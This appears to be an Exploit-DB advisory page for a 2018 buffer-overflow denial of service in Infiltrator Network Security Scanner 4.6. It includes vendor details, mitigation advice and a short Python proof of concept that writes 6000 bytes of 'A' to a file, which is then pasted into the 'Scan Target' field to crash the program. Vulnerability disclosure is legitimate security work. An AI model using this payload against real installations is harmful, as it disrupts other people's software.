Infiltrator Network Security Scanner 4.6 - Denial of Service (PoC)

vendor:

Infiltrator Network Security Scanner

by:

Gionathan 'John' Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Infiltrator Network Security Scanner

Affected Version From: 4.6

Affected Version To: 4.6

Patch Exists: YES

Related CWE: N/A

CPE: a:infiltration_systems:infiltrator_network_security_scanner

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32-bit

2018

Infiltrator Network Security Scanner 4.6 – Denial of Service (PoC)

A buffer overflow vulnerability exists in Infiltrator Network Security Scanner 4.6, which could allow an attacker to cause a denial of service condition. An attacker can create a malicious file containing 6000 bytes of data and paste the contents of the file into the 'Scan Target' field. When the 'Scan' button is clicked, the application will crash.

Mitigation:

Upgrade to the latest version of Infiltrator Network Security Scanner.

Source

Exploit-DB raw data:

# Exploit Title: Infiltrator Network Security Scanner 4.6 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.infiltration-systems.com/download.shtml
# Tested Version: 4.6
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program.
# Now paste the contents of "exploit.txt" into the fields:"Scan Target"
# Click the "Scan" button, wait and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"